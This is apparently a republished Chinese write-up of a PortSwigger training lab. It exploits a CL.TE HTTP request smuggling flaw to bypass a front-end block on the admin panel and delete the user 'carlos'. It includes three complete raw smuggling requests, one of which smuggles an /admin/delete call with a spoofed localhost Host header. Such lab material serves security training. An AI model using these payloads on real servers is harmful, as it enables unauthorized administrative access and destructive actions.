【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

admin 2023年8月6日20:59:33评论22 views字数 1305阅读4分21秒阅读模式

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

Tips +1

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞


利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞


环境地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

实验场景:本实验涉及前端和后端服务器,前端服务器不支持分块编码。上有一个管理面板/admin,但前端服务器阻止对其进行访问。

要解决该实验,请将请求偷偷发送到访问管理面板并删除用户的后端服务器carlos。

1、访问admin 没有权限,这里需要把http 设置为1

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

2、构造请求包发送两个可绕过前端服务器,但是这里限制了本地用户访问

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

3、添加hocalhost 绕过限制,但是该请求由于第二个请求的 Host 标头与第一个请求中走私的 Host 标头冲突而被阻止。

POST / HTTP/1.1
Host: 0a7c0004048a64ac816f7aab004e0091.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

4、发出以下请求两次,以便将第二个请求的标头附加到走私的请求正文中,请求成功如下

POST / HTTP/1.1
Host: 0a7c0004048a64ac816f7aab004e0091.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

5、查看请求响应,我们可以将走私的请求URL改为 删除 carlos用户

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

POST / HTTP/1.1
Host: 0a7c0004048a64ac816f7aab004e0091.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

删除成功,完成该关卡

【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞



                                        

End


“点赞、在看与分享都是莫大的支持”



【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞


原文始发于微信公众号(贝雷帽SEC):【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月6日20:59:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Tips】利用HTTP 请求走私绕过前端安全控制、CL.TE 漏洞http://cn-sec.com/archives/1937122.html

发表评论

匿名网友 填写信息